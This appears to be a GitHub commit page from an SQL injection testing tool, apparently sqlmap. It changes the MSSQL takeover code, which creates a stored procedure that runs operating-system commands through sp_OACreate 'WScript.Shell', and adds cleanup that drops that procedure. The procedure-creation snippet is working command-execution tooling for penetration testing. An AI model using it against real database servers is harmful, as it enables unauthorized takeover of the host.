Skip to content

Commit bd99470

Browse files
committed
Minor update to cleanup properly new xp_cmdshell
1 parent d726050 commit bd99470

File tree

3 files changed

+4
-5
lines changed

3 files changed

+4
-5
lines changed

lib/takeover/xp_cmdshell.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -52,10 +52,9 @@ def _xpCmdshellCreate(self):
5252
inject.goStacked(agent.runAsDBMSUser(cmd))
5353

5454
self._randStr = randomStr(lowercase=True)
55-
self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
56-
self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew
55+
self.xpCmdshellStr = "master..new_xp_cmdshell"
5756

58-
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr, XP_CMDSHELL_NEW=self._xpCmdshellNew)
57+
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
5958

6059
if Backend.isVersionWithin(("2005", "2008")):
6160
cmd += ";RECONFIGURE WITH OVERRIDE"

plugins/generic/misc.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -162,7 +162,7 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False):
162162
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
163163

164164
if Backend.isDbms(DBMS.MSSQL):
165-
return
165+
udfDict = {"master..new_xp_cmdshell": None}
166166

167167
if udfDict is None:
168168
udfDict = self.sysUdfs
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
DECLARE @%RANDSTR% nvarchar(999);
2-
set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
2+
set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
33
EXEC master..sp_executesql @%RANDSTR%

0 commit comments

Comments
 (0)